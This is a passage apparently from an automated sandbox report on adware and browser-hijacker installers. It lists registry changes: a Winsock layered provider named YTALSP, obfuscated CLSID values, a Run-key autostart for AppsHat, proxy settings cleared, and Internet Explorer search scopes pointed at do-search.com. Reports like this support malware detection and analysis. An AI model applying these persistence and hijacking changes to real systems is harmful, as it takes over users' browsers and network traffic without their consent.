"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"ProtocolName" = "VMCI sockets STREAM"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IP]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"ProtocolName" = "YTALSP over [RSVP UDPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"ProtocolName" = "YTALSP over [RSVP TCP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Serial_Access_Num" = "16"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"LspCategories" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtkUSLXGet\li@u"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZiz"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"ProtocolName" = "YTALSP over [RSVP UDP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"ProtocolName" = "VMCI sockets DGRAM"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "MfEm\RC`}|yQNf_|ac{GBsCvEzSm~"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "jZoVvS^vVzm|rUo"

The Application deletes the following registry key(s):

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000010]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000011]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000000F]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"FdUXjkIpvn"
"jugyvwoEcjGw"
"Uojvoqeov"
"rffapxdttSchh"
"yxQHXfdfitoe"
"qPacydvhduuR"
"qvorsEtjxw"
"qvbbRNdMg"
"yEsrDTepOCs"
"cgcdxuSksc"
"MNEMOyZJWG"
"LdsE"
"fSXewhkfv"
"omdjT"
"hFLwn"
"DxOl"
"uqmpybcjdI"
"pseKcc"
"pxylOXnGwpXkz"

The process lspinst.exe:492 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQrl`JeeizQ`aoP"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "MfEm\RC`}|yQNf_|ac{GBsCvEzSm~"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 C5 A5 44 A3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "PDJVrQQlx|ac`_w}Yu`fbISI`@Ntl"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0E 00 00 00"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtkUSLXGet\li@u"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "jZoQFS^vVzROg^u"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZiz"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"FdUXjkIpvn"
"jugyvwoEcjGw"
"Uojvoqeov"
"rffapxdttSchh"
"yxQHXfdfitoe"
"qPacydvhduuR"
"qvorsEtjxw"
"qvbbRNdMg"
"yEsrDTepOCs"
"cgcdxuSksc"
"MNEMOyZJWG"
"LdsE"
"fSXewhkfv"
"omdjT"
"hFLwn"
"DxOl"
"uqmpybcjdI"
"pseKcc"
"pxylOXnGwpXkz"

The process af1bef35-aa27-4010-9003-02d835dca74d-4.exe:2184 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKLM\SOFTWARE\Wow6432Node\App Lid\rKW8SAJ9Zd1DCFx MB8QPobBF71E/d9KXrgTQoUubrdM/8 cAtZLzJFCLezhW3ZDWShOoim4nFjnp6KzG0pJAHiXyTyzJDCh4h9lE15DTO8gJS/NZxI27kpe2ihD/8fluw46czwJZbE/63lnox 3LbmS5o1RY6c5mQH9NDbDDy0=]
"H9B//2rB2Qps/xKvoa6AJV3Gfv77cmca3itul0udQnUagKHAO3xr5erYH8F9g9P7gq86ZDKU56tgVV/jakA2fKXQUrYS kBALbyA4pa4lLjW4QHJspIS6GLx0NCf7OHXfxDGqBdUBkRiCUPA 2Yi4VhVWb39zht/X3d9IixuBTM=" = "1"

[HKLM\SOFTWARE\Wow6432Node\App Lid\X2mqWImmR0HfpAXTabdRqhl45msqzGFsYNpONO0c8vtoaXI412WOqqkeNgguKzQZLW48RLvatyGIG1RRE55AI3huQ1VVOY8yP7cUNEVEnnyyQcdB8a5eTB37wOzfrnthPhHJgUKmdq2XEo800MA yqlckNRq70Zv7RvnkLALz88=]
"s1omX/E90AR78DKz0wUSe0c2er0aGo52ISmzjPiIU75xv4vxxuFjaEAW25CLJ8fhcnCXppl0Koc7D5ioA1sWj8oh ymoV3pOcOvj7RRpsnlHOVVHYtMzpP0e79J4T/0VlkSjDMBHt9abwne2cMOjERADsYXe8pyLba FPvmKuzI=" = "1"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The process YTAHEL~1.EXE:3184 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEC53.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEC53.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEC53.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse916.tmp\AccDownload.dll,"

The process DCytaiesmt_smtyc_setup.exe:3680 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"
"MaxConnectionsPer1_0Server" = "2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "75 43 B9 3B 85 46 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"Install" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "EF 33 7C 54 85 46 D0 01"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"InstallStr" = "ok"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 41 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "EF 33 7C 54 85 46 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process cscript.exe:1472 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "6E AA 86 7D 85 46 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat]
"DisplayVersion" = "2.13"
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\tray.ico"

"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\uninstall.exe _?=C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat"
"NoModify" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat]
"DisplayName" = "AppsHat"
"NoRepair" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 53 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\WebPlayer]
"AppsHat" = "1"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"AppsHat" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process spbiu.exe:3804 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Gcf" = "D9 91 CF EC EE 40 F4 7E 74 E4 CF FB 2F 99 75 C3"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd\Users\Default]
"Ucf" = "AF 19 06 18 24 A7 78 A7 83 2B E1 77 84 81 A9 3B"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Scf" = "2B EA 5B 1C 0E 5B E7 68 35 45 73 AF 55 35 75 0C"

The process spbiu.exe:3956 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Ult" = "Type: REG_QWORD, Length: 8"

The process wscript.exe:3892 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process XTab_v4.0.exe:2044 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\HELPDIR]
"(Default)" = "%Program Files% (x86)\XTab"

[HKLM\SOFTWARE\Wow6432Node\supTab]
"ptid" = "smt"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"TopResultURL" = "http://www.bing.com/search?q={searchTerms}&src=IE-TopResult&FORM=IETR02"
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 50 00 00 00 09 00 00 00 00 00 00 00"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0]
"(Default)" = "SupTabLib"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURL" = "http://www.bing.com/favicon.ico"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\0\win32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}]
"(Default)" = "IETabPage Class"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\InprocServer32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\Version]
"(Default)" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico"
"DisplayName" = "Bing"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconURL" = "http://www.google.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}"

[HKLM\SOFTWARE\Wow6432Node\SupDp]
"dir" = "%Program Files% (x86)\XTab"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconURL" = "http://do-search.com//favicon.ico"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"TopResultURL" = "http://www.google.com/search?q={searchTerms}&sourceid=ie7&rls=com.microsoft:{language}:{referrer:source}&ie={inputEncoding?}&oe={outputEncoding?}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"TopResultURL" = "http://www.mystartsearch.com/web/?type=ds&ts=1423719204&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURLFallback" = "http://www.bing.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"DisplayName" = "Google"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"DisplayName" = "e"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\InprocServer32]
